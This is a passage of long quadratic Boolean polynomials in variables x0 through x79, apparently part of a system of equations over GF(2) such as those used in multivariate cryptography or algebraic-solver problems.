+ x4*x61 + x4*x62 + x4*x64 + x4*x65 + x4*x66 + x4*x67 + x4*x68 + x4*x72 + x4*x75 + x4*x76 + x4*x78 + x4*x79 + x5*x6 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x16 + x5*x17 + x5*x18 + x5*x19 + x5*x21 + x5*x23 + x5*x24 + x5*x26 + x5*x28 + x5*x30 + x5*x31 + x5*x35 + x5*x39 + x5*x44 + x5*x45 + x5*x46 + x5*x47 + x5*x48 + x5*x49 + x5*x51 + x5*x56 + x5*x57 + x5*x58 + x5*x60 + x5*x63 + x5*x64 + x5*x65 + x5*x67 + x5*x68 + x5*x73 + x5*x74 + x5*x75 + x5*x79 + x5 + x6*x7 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x22 + x6*x24 + x6*x26 + x6*x27 + x6*x30 + x6*x35 + x6*x36 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x45 + x6*x46 + x6*x48 + x6*x50 + x6*x51 + x6*x52 + x6*x55 + x6*x56 + x6*x57 + x6*x61 + x6*x64 + x6*x65 + x6*x67 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x7*x8 + x7*x11 + x7*x12 + x7*x13 + x7*x16 + x7*x19 + x7*x20 + x7*x21 + x7*x22 + x7*x24 + x7*x25 + x7*x26 + x7*x27 + x7*x29 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x37 + x7*x39 + x7*x40 + x7*x41 + x7*x42 + x7*x43 + x7*x45 + x7*x48 + x7*x51 + x7*x52 + x7*x55 + x7*x56 + x7*x57 + x7*x59 + x7*x60 + x7*x64 + x7*x65 + x7*x66 + x7*x69 + x7*x71 + x7*x72 + x7*x74 + x7*x76 + x7*x77 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x12 + x8*x13 + x8*x20 + x8*x21 + x8*x22 + x8*x23 + x8*x26 + x8*x28 + x8*x33 + x8*x34 + x8*x38 + x8*x42 + x8*x43 + x8*x46 + x8*x49 + x8*x50 + x8*x52 + x8*x54 + x8*x55 + x8*x56 + x8*x62 + x8*x64 + x8*x65 + x8*x66 + x8*x71 + x8*x73 + x8*x74 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x8 + x9*x10 + x9*x14 + x9*x15 + x9*x16 + x9*x20 + x9*x21 + x9*x23 + x9*x26 + x9*x27 + x9*x31 + x9*x35 + x9*x37 + x9*x39 + x9*x42 + x9*x43 + x9*x44 + x9*x46 + x9*x47 + x9*x49 + x9*x50 + x9*x52 + x9*x56 + x9*x57 + x9*x60 + x9*x61 + x9*x69 + x9*x71 + x9*x72 + x9*x73 + x9*x75 + x9*x76 + x9*x78 + x9*x79 + x10*x11 + x10*x14 + x10*x17 + x10*x18 + x10*x21 + x10*x22 + x10*x23 + x10*x26 + x10*x27 + x10*x28 + x10*x30 + x10*x31 + x10*x32 + x10*x33 + x10*x34 + x10*x36 + x10*x38 + x10*x42 + x10*x44 + x10*x46 + x10*x47 + x10*x49 + x10*x50 + x10*x55 + x10*x57 + x10*x58 + x10*x60 + x10*x61 + x10*x65 + x10*x68 + x10*x71 + x10*x72 + x10*x73 + x11*x12 + x11*x14 + x11*x15 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x28 + x11*x31 + x11*x36 + x11*x37 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x51 + x11*x52 + x11*x53 + x11*x58 + x11*x60 + x11*x64 + x11*x66 + x11*x70 + x11*x74 + x11*x75 + x11*x76 + x11*x79 + x12*x15 + x12*x18 + x12*x20 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x27 + x12*x28 + x12*x29 + x12*x31 + x12*x35 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x47 + x12*x49 + x12*x50 + x12*x54 + x12*x58 + x12*x59 + x12*x63 + x12*x65 + x12*x66 + x12*x70 + x12*x72 + x12*x73 + x12*x74 + x12 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x29 + x13*x35 + x13*x37 + x13*x38 + x13*x40 + x13*x44 + x13*x45 + x13*x46 + x13*x52 + x13*x55 + x13*x58 + x13*x59 + x13*x61 + x13*x63 + x13*x65 + x13*x66 + x13*x68 + x13*x69 + x13*x71 + x13*x72 + x13*x73 + x13*x75 + x13*x76 + x13*x78 + x14*x16 + x14*x20 + x14*x22 + x14*x28 + x14*x30 + x14*x32 + x14*x41 + x14*x42 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x51 + x14*x53 + x14*x58 + x14*x59 + x14*x62 + x14*x63 + x14*x64 + x14*x65 + x14*x66 + x14*x68 + x14*x69 + x14*x70 + x14*x73 + x14*x74 + x14*x75 + x14*x78 + x14*x79 + x15*x16 + x15*x19 + x15*x20 + x15*x21 + x15*x24 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x31 + x15*x33 + x15*x35 + x15*x37 + x15*x39 + x15*x40 + x15*x44 + x15*x48 + x15*x49 + x15*x54 + x15*x55 + x15*x56 + x15*x58 + x15*x59 + x15*x65 + x15*x66 + x15*x67 + x15*x70 + x15*x71 + x15*x73 + x15*x75 + x15*x77 + x15 + x16*x17 + x16*x19 + x16*x20 + x16*x29 + x16*x30 + x16*x32 + x16*x33 + x16*x35 + x16*x38 + x16*x43 + x16*x46 + x16*x48 + x16*x51 + x16*x52 + x16*x54 + x16*x55 + x16*x57 + x16*x58 + x16*x62 + x16*x68 + x16*x71 + x16*x74 + x16*x76 + x16*x77 + x16*x78 + x16*x79 + x17*x18 + x17*x19 + x17*x20 + x17*x24 + x17*x27 + x17*x28 + x17*x29 + x17*x32 + x17*x33 + x17*x35 + x17*x36 + x17*x38 + x17*x41 + x17*x44 + x17*x45 + x17*x47 + x17*x49 + x17*x50 + x17*x51 + x17*x55 + x17*x60 + x17*x61 + x17*x65 + x17*x68 + x17*x71 + x17*x73 + x17*x74 + x17*x75 + x17*x77 + x18*x19 + x18*x20 + x18*x22 + x18*x24 + x18*x26 + x18*x28 + x18*x31 + x18*x34 + x18*x35 + x18*x36 + x18*x38 + x18*x43 + x18*x44 + x18*x45 + x18*x47 + x18*x49 + x18*x50 + x18*x51 + x18*x52 + x18*x53 + x18*x54 + x18*x55 + x18*x56 + x18*x57 + x18*x60 + x18*x61 + x18*x62 + x18*x63 + x18*x65 + x18*x74 + x18*x79 + x19*x20 + x19*x21 + x19*x22 + x19*x23 + x19*x26 + x19*x27 + x19*x28 + x19*x29 + x19*x31 + x19*x34 + x19*x36 + x19*x37 + x19*x39 + x19*x40 + x19*x42 + x19*x43 + x19*x46 + x19*x47 + x19*x49 + x19*x50 + x19*x52 + x19*x53 + x19*x54 + x19*x56 + x19*x57 + x19*x59 + x19*x60 + x19*x62 + x19*x65 + x19*x66 + x19*x67 + x19*x70 + x19*x73 + x19*x75 + x19*x77 + x19*x78 + x19*x79 + x20*x21 + x20*x22 + x20*x23 + x20*x26 + x20*x31 + x20*x33 + x20*x38 + x20*x41 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x49 + x20*x54 + x20*x56 + x20*x57 + x20*x58 + x20*x60 + x20*x61 + x20*x62 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x75 + x20*x76 + x20*x78 + x20 + x21*x22 + x21*x24 + x21*x25 + x21*x26 + x21*x28 + x21*x30 + x21*x32 + x21*x33 + x21*x34 + x21*x35 + x21*x37 + x21*x38 + x21*x40 + x21*x41 + x21*x42 + x21*x46 + x21*x50 + x21*x51 + x21*x55 + x21*x56 + x21*x58 + x21*x59 + x21*x60 + x21*x65 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x74 + x21*x76 + x21*x79 + x21 + x22*x24 + x22*x26 + x22*x27 + x22*x30 + x22*x32 + x22*x33 + x22*x37 + x22*x38 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x53 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x60 + x22*x62 + x22*x64 + x22*x66 + x22*x67 + x22*x73 + x22*x75 + x22*x76 + x22*x78 + x22*x79 + x23*x24 + x23*x28 + x23*x30 + x23*x31 + x23*x37 + x23*x38 + x23*x39 + x23*x43 + x23*x44 + x23*x45 + x23*x48 + x23*x49 + x23*x50 + x23*x51 + x23*x55 + x23*x56 + x23*x57 + x23*x58 + x23*x59 + x23*x62 + x23*x64 + x23*x68 + x23*x69 + x23*x71 + x23*x77 + x23*x78 + x23*x79 + x23 + x24*x26 + x24*x28 + x24*x30 + x24*x32 + x24*x33 + x24*x34 + x24*x38 + x24*x41 + x24*x43 + x24*x44 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x53 + x24*x54 + x24*x56 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x64 + x24*x65 + x24*x66 + x24*x70 + x24*x73 + x24*x74 + x24*x77 + x24 + x25*x28 + x25*x29 + x25*x34 + x25*x35 + x25*x38 + x25*x43 + x25*x45 + x25*x46 + x25*x48 + x25*x51 + x25*x52 + x25*x53 + x25*x54 + x25*x55 + x25*x56 + x25*x58 + x25*x59 + x25*x61 + x25*x62 + x25*x63 + x25*x65 + x25*x67 + x25*x68 + x25*x73 + x26*x28 + x26*x29 + x26*x31 + x26*x32 + x26*x34 + x26*x36 + x26*x39 + x26*x42 + x26*x43 + x26*x45 + x26*x48 + x26*x49 + x26*x53 + x26*x55 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x66 + x26*x68 + x26*x72 + x26*x74 + x26*x75 + x26*x77 + x26*x78 + x27*x28 + x27*x29 + x27*x30 + x27*x32 + x27*x34 + x27*x36 + x27*x38 + x27*x40 + x27*x44 + x27*x45 + x27*x47 + x27*x48 + x27*x52 + x27*x54 + x27*x55 + x27*x56 + x27*x59 + x27*x60 + x27*x61 + x27*x67 + x27*x71 + x27*x72 + x27*x74 + x27*x76 + x27*x78 + x27*x79 + x28*x30 + x28*x34 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x41 + x28*x43 + x28*x48 + x28*x49 + x28*x52 + x28*x53 + x28*x55 + x28*x56 + x28*x57 + x28*x58 + x28*x59 + x28*x61 + x28*x63 + x28*x65 + x28*x67 + x28*x70 + x28*x72 + x28*x75 + x28*x77 + x28 + x29*x31 + x29*x32 + x29*x33 + x29*x34 + x29*x35 + x29*x36 + x29*x37 + x29*x39 + x29*x41 + x29*x42 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x49 + x29*x50 + x29*x54 + x29*x57 + x29*x58 + x29*x61 + x29*x63 + x29*x65 + x29*x66 + x29*x68 + x29*x71 + x29*x74 + x29*x77 + x29*x78 + x29 + x30*x32 + x30*x33 + x30*x36 + x30*x38 + x30*x41 + x30*x43 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x56 + x30*x57 + x30*x59 + x30*x62 + x30*x63 + x30*x65 + x30*x71 + x30*x75 + x30*x76 + x30*x77 + x30*x78 + x30 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x38 + x31*x39 + x31*x42 + x31*x46 + x31*x47 + x31*x48 + x31*x50 + x31*x51 + x31*x53 + x31*x55 + x31*x56 + x31*x62 + x31*x63 + x31*x64 + x31*x65 + x31*x68 + x31*x70 + x31*x72 + x31*x73 + x31*x75 + x31*x76 + x31 + x32*x34 + x32*x36 + x32*x38 + x32*x39 + x32*x40 + x32*x41 + x32*x42 + x32*x43 + x32*x46 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x56 + x32*x58 + x32*x59 + x32*x60 + x32*x63 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x68 + x32*x73 + x32*x74 + x32*x75 + x32*x76 + x32 + x33*x38 + x33*x39 + x33*x40 + x33*x42 + x33*x45 + x33*x46 + x33*x47 + x33*x49 + x33*x51 + x33*x52 + x33*x54 + x33*x56 + x33*x60 + x33*x62 + x33*x64 + x33*x67 + x33*x70 + x33*x71 + x33*x72 + x33*x74 + x33*x76 + x33*x77 + x34*x35 + x34*x37 + x34*x39 + x34*x40 + x34*x47 + x34*x51 + x34*x52 + x34*x53 + x34*x55 + x34*x56 + x34*x57 + x34*x59 + x34*x61 + x34*x62 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x70 + x34*x71 + x34*x73 + x34*x76 + x34*x78 + x35*x36 + x35*x37 + x35*x38 + x35*x42 + x35*x45 + x35*x48 + x35*x52 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x61 + x35*x62 + x35*x63 + x35*x64 + x35*x65 + x35*x66 + x35*x68 + x35*x72 + x35*x73 + x35*x74 + x35*x76 + x35*x77 + x35*x79 + x36*x37 + x36*x38 + x36*x39 + x36*x42 + x36*x46 + x36*x47 + x36*x48 + x36*x50 + x36*x53 + x36*x54 + x36*x56 + x36*x58 + x36*x59 + x36*x62 + x36*x63 + x36*x65 + x36*x67 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x75 + x36*x76 + x36*x78 + x36 + x37*x40 + x37*x43 + x37*x44 + x37*x48 + x37*x49 + x37*x51 + x37*x54 + x37*x56 + x37*x57 + x37*x60 + x37*x61 + x37*x62 + x37*x68 + x37*x70 + x37*x71 + x37*x72 + x37*x74 + x37*x75 + x37*x76 + x37*x79 + x37 + x38*x41 + x38*x43 + x38*x44 + x38*x46 + x38*x47 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x56 + x38*x57 + x38*x60 + x38*x61 + x38*x67 + x38*x69 + x38*x70 + x38*x72 + x38*x74 + x38*x75 + x38*x77 + x38*x79 + x38 + x39*x42 + x39*x43 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x53 + x39*x57 + x39*x58 + x39*x63 + x39*x65 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x74 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x41 + x40*x42 + x40*x45 + x40*x49 + x40*x50 + x40*x51 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x60 + x40*x61 + x40*x63 + x40*x66 + x40*x73 + x40*x74 + x40*x75 + x40*x77 + x40*x78 + x40 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x51 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x62 + x41*x63 + x41*x64 + x41*x68 + x41*x70 + x41*x71 + x41*x74 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x43 + x42*x45 + x42*x46 + x42*x47 + x42*x51 + x42*x54 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x61 + x42*x63 + x42*x66 + x42*x67 + x42*x68 + x42*x70 + x42*x73 + x42*x74 + x42*x75 + x42*x76 + x42*x77 + x42*x78 + x42*x79 + x42 + x43*x45 + x43*x46 + x43*x49 + x43*x54 + x43*x57 + x43*x58 + x43*x60 + x43*x61 + x43*x62 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x75 + x43*x77 + x43*x79 + x44*x46 + x44*x47 + x44*x48 + x44*x49 + x44*x53 + x44*x54 + x44*x57 + x44*x58 + x44*x62 + x44*x63 + x44*x65 + x44*x77 + x44*x78 + x44 + x45*x46 + x45*x48 + x45*x49 + x45*x50 + x45*x61 + x45*x62 + x45*x63 + x45*x64 + x45*x65 + x45*x66 + x45*x68 + x45*x69 + x45*x70 + x45*x71 + x45*x72 + x45*x74 + x45*x75 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x47 + x46*x48 + x46*x51 + x46*x52 + x46*x54 + x46*x58 + x46*x61 + x46*x62 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x71 + x46*x72 + x46*x74 + x46*x76 + x46*x79 + x46 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x60 + x47*x65 + x47*x66 + x47*x67 + x47*x68 + x47*x69 + x47*x75 + x47*x78 + x48*x51 + x48*x54 + x48*x56 + x48*x62 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x72 + x48*x74 + x48*x75 + x48*x76 + x48*x77 + x48 + x49*x52 + x49*x54 + x49*x55 + x49*x58 + x49*x59 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x69 + x49*x72 + x49*x76 + x49*x79 + x49 + x50*x54 + x50*x55 + x50*x57 + x50*x58 + x50*x60 + x50*x62 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x69 + x50*x74 + x50*x76 + x50*x77 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x59 + x51*x61 + x51*x64 + x51*x65 + x51*x66 + x51*x68 + x51*x70 + x51*x71 + x51*x72 + x51*x74 + x51*x75 + x51*x77 + x52*x55 + x52*x56 + x52*x57 + x52*x58 + x52*x61 + x52*x66 + x52*x70 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x53*x55 + x53*x56 + x53*x57 + x53*x59 + x53*x63 + x53*x65 + x53*x66 + x53*x69 + x53*x73 + x53*x74 + x53*x78 + x53 + x54*x55 + x54*x58 + x54*x60 + x54*x61 + x54*x63 + x54*x66 + x54*x69 + x54*x70 + x54*x77 + x54*x78 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x65 + x55*x67 + x55*x69 + x55*x70 + x55*x72 + x55*x74 + x55*x76 + x55*x77 + x55*x78 + x55 + x56*x59 + x56*x62 + x56*x63 + x56*x64 + x56*x65 + x56*x69 + x56*x72 + x56*x73 + x56*x74 + x56*x78 + x56*x79 + x56 + x57*x60 + x57*x62 + x57*x63 + x57*x64 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x70 + x57 + x58*x59 + x58*x61 + x58*x66 + x58*x68 + x58*x72 + x58*x74 + x58*x75 + x58*x77 + x58*x78 + x58 + x59*x61 + x59*x63 + x59*x66 + x59*x67 + x59*x69 + x59*x70 + x59*x73 + x59*x74 + x59*x75 + x59*x78 + x59*x79 + x59 + x60*x61 + x60*x65 + x60*x66 + x60*x67 + x60*x70 + x60*x71 + x60*x73 + x60*x74 + x60*x78 + x61*x63 + x61*x65 + x61*x66 + x61*x68 + x61*x69 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x70 + x62*x71 + x62*x73 + x62*x76 + x62*x77 + x62*x79 + x62 + x63*x64 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x72 + x63*x77 + x63*x78 + x63*x79 + x64*x65 + x64*x66 + x64*x67 + x64*x68 + x64*x70 + x64*x74 + x64*x75 + x65*x66 + x65*x67 + x65*x70 + x65*x71 + x65*x74 + x65*x77 + x65*x78 + x65*x79 + x66*x67 + x66*x68 + x66*x70 + x66*x71 + x66*x75 + x66*x77 + x66*x78 + x66*x79 + x67*x70 + x67*x71 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x70 + x68*x72 + x68*x73 + x68*x74 + x68*x76 + x69*x70 + x69*x71 + x69*x72 + x69*x76 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70*x77 + x70*x79 + x71*x75 + x71*x76 + x71*x77 + x71 + x72*x74 + x72*x76 + x72*x77 + x73*x75 + x73*x77 + x73 + x74*x76 + x74*x77 + x74 + x75*x78 + x75*x79 + x76*x77 + x76*x78 + x76*x79 + x76 + x77*x78 + x77*x79 + 1, x0*x5 + x0*x7 + x0*x9 + x0*x10 + x0*x12 + x0*x13 + x0*x14 + x0*x16 + x0*x17 + x0*x18 + x0*x20 + x0*x21 + x0*x22 + x0*x24 + x0*x27 + x0*x28 + x0*x32 + x0*x33 + x0*x35 + x0*x36 + x0*x38 + x0*x39 + x0*x40 + x0*x45 + x0*x46 + x0*x49 + x0*x50 + x0*x51 + x0*x52 + x0*x53 + x0*x56 + x0*x57 + x0*x59 + x0*x62 + x0*x63 + x0*x65 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x76 + x0 + x1*x3 + x1*x5 + x1*x6 + x1*x7 + x1*x10 + x1*x11 + x1*x13 + x1*x14 + x1*x16 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x26 + x1*x33 + x1*x38 + x1*x39 + x1*x40 + x1*x42 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x52 + x1*x53 + x1*x54 + x1*x56 + x1*x59 + x1*x60 + x1*x61 + x1*x64 + x1*x66 + x1*x67 + x1*x69 + x1*x73 + x1*x75 + x2*x3 + x2*x9 + x2*x12 + x2*x15 + x2*x18 + x2*x23 + x2*x25 + x2*x26 + x2*x29 + x2*x30 + x2*x33 + x2*x35 + x2*x39 + x2*x47 + x2*x49 + x2*x52 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x62 + x2*x63 + x2*x64 + x2*x69 + x2*x70 + x2*x71 + x2*x77 + x2*x78 + x2 + x3*x6 + x3*x14 + x3*x15 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x28 + x3*x29 + x3*x30 + x3*x32 + x3*x33 + x3*x34 + x3*x36 + x3*x38 + x3*x42 + x3*x46 + x3*x47 + x3*x53 + x3*x54 + x3*x56 + x3*x57 + x3*x59 + x3*x60 + x3*x61 + x3*x68 + x3*x69 + x3*x70 + x3*x72 + x3*x73 + x3*x74 + x3*x75 + x4*x5 + x4*x6 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x18 + x4*x19 + x4*x21 + x4*x22 + x4*x23 + x4*x24 + x4*x28 + x4*x29 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x38 + x4*x40 + x4*x42 + x4*x44 + x4*x45 + x4*x47 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x58 + x4*x59 + x4*x60 + x4*x62 + x4*x63 + x4*x65 + x4*x66 + x4*x67 + x4*x69 + x4*x70 + x4*x74 + x4*x75 + x4*x77 + x4 + x5*x7 + x5*x10 + x5*x12 + x5*x13 + x5*x15 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x34 + x5*x35 + x5*x38 + x5*x39 + x5*x41 + x5*x43 + x5*x47 + x5*x48 + x5*x49 + x5*x52 + x5*x54 + x5*x55 + x5*x56 + x5*x57 + x5*x58 + x5*x64 + x5*x66 + x5*x68 + x5*x69 + x5*x71 + x5*x73 + x5*x77 + x5*x78 + x5 + x6*x9 + x6*x12 + x6*x13 + x6*x14 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x23 + x6*x24 + x6*x27 + x6*x28 + x6*x30 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x38 + x6*x42 + x6*x43 + x6*x44 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x55 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x61 + x6*x63 + x6*x64 + x6*x67 + x6*x68 + x6*x71 + x6*x72 + x6*x76 + x6*x77 + x6*x79 + x7*x10 + x7*x11 + x7*x12 + x7*x14 + x7*x17 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x27 + x7*x31 + x7*x36 + x7*x37 + x7*x38 + x7*x43 + x7*x45 + x7*x47 + x7*x48 + x7*x50 + x7*x53 + x7*x54 + x7*x55 + x7*x59 + x7*x60 + x7*x61 + x7*x66 + x7*x67 + x7*x69 + x7*x73 + x7*x74 + x7*x77 + x7*x79 + x8*x9 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x28 + x8*x32 + x8*x34 + x8*x37 + x8*x38 + x8*x40 + x8*x42 + x8*x43 + x8*x44 + x8*x46 + x8*x49 + x8*x52 + x8*x53 + x8*x57 + x8*x58 + x8*x61 + x8*x65 + x8*x66 + x8*x73 + x8*x74 + x8*x77 + x8*x78 + x8*x79 + x9*x13 + x9*x16 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x26 + x9*x29 + x9*x32 + x9*x34 + x9*x35 + x9*x37 + x9*x39 + x9*x45 + x9*x46 + x9*x48 + x9*x60 + x9*x61 + x9*x63 + x9*x64 + x9*x65 + x9*x66 + x9*x68 + x9*x71 + x9*x74 + x9*x75 + x9*x77 + x9*x79 + x9 + x10*x11 + x10*x12 + x10*x15 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x25 + x10*x32 + x10*x36 + x10*x41 + x10*x43 + x10*x45 + x10*x47 + x10*x50 + x10*x51 + x10*x53 + x10*x56 + x10*x57 + x10*x58 + x10*x61 + x10*x62 + x10*x64 + x10*x65 + x10*x68 + x10*x69 + x10*x71 + x10*x72 + x10*x73 + x10*x75 + x10*x77 + x10*x78 + x10*x79 + x11*x12 + x11*x14 + x11*x15 + x11*x17 + x11*x18 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x37 + x11*x39 + x11*x40 + x11*x41 + x11*x44 + x11*x46 + x11*x48 + x11*x50 + x11*x51 + x11*x53 + x11*x54 + x11*x59 + x11*x63 + x11*x65 + x11*x66 + x11*x68 + x11*x69 + x11*x71 + x11*x72 + x11*x78 + x11*x79 + x11 + x12*x14 + x12*x21 + x12*x23 + x12*x25 + x12*x26 + x12*x28 + x12*x31 + x12*x32 + x12*x33 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x43 + x12*x44 + x12*x46 + x12*x47 + x12*x48 + x12*x50 + x12*x52 + x12*x53 + x12*x55 + x12*x57 + x12*x58 + x12*x59 + x12*x62 + x12*x64 + x12*x65 + x12*x68 + x12*x70 + x12*x71 + x12*x73 + x12*x74 + x12*x75 + x12*x76 + x12*x78 + x12*x79 + x13*x14 + x13*x15 + x13*x18 + x13*x19 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x31 + x13*x33 + x13*x35 + x13*x37 + x13*x38 + x13*x39 + x13*x50 + x13*x57 + x13*x59 + x13*x60 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x70 + x13*x71 + x13*x75 + x13*x76 + x13*x78 + x13*x79 + x14*x15 + x14*x19 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x24 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x33 + x14*x39 + x14*x41 + x14*x42 + x14*x45 + x14*x49 + x14*x50 + x14*x51 + x14*x54 + x14*x55 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x65 + x14*x68 + x14*x69 + x14*x71 + x14*x73 + x14*x74 + x14*x75 + x14*x77 + x15*x19 + x15*x20 + x15*x22 + x15*x23 + x15*x25 + x15*x33 + x15*x34 + x15*x36 + x15*x39 + x15*x40 + x15*x41 + x15*x44 + x15*x46 + x15*x49 + x15*x54 + x15*x59 + x15*x61 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x15*x78 + x15 + x16*x17 + x16*x18 + x16*x20 + x16*x22 + x16*x25 + x16*x26 + x16*x27 + x16*x30 + x16*x31 + x16*x32 + x16*x33 + x16*x34 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x46 + x16*x48 + x16*x49 + x16*x53 + x16*x54 + x16*x55 + x16*x56 + x16*x59 + x16*x62 + x16*x64 + x16*x65 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x70 + x16*x78 + x16*x79 + x17*x19 + x17*x22 + x17*x24 + x17*x25 + x17*x28 + x17*x29 + x17*x31 + x17*x32 + x17*x35 + x17*x37 + x17*x38 + x17*x39 + x17*x41 + x17*x42 + x17*x43 + x17*x45 + x17*x46 + x17*x48 + x17*x49 + x17*x52 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x59 + x17*x60 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x68 + x17*x72 + x17*x73 + x17*x75 + x17*x76 + x17*x78 + x17*x79 + x17 + x18*x21 + x18*x22 + x18*x26 + x18*x31 + x18*x33 + x18*x34 + x18*x37 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x51 + x18*x54 + x18*x55 + x18*x57 + x18*x59 + x18*x62 + x18*x64 + x18*x66 + x18*x73 + x18*x74 + x18*x75 + x18*x79 + x19*x20 + x19*x24 + x19*x26 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x41 + x19*x42 + x19*x45 + x19*x46 + x19*x49 + x19*x53 + x19*x54 + x19*x55 + x19*x57 + x19*x59 + x19*x60 + x19*x65 + x19*x68 + x19*x69 + x19*x70 + x19*x74 + x19*x76 + x19*x78 + x19*x79 + x19 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x32 + x20*x37 + x20*x45 + x20*x46 + x20*x47 + x20*x50 + x20*x51 + x20*x53 + x20*x55 + x20*x58 + x20*x61 + x20*x62 + x20*x65 + x20*x71 + x20*x72 + x20*x73 + x20*x74 + x20*x75 + x20*x76 + x20*x78 + x20 + x21*x24 + x21*x25 + x21*x26 + x21*x27 + x21*x37 + x21*x39 + x21*x41 + x21*x42 + 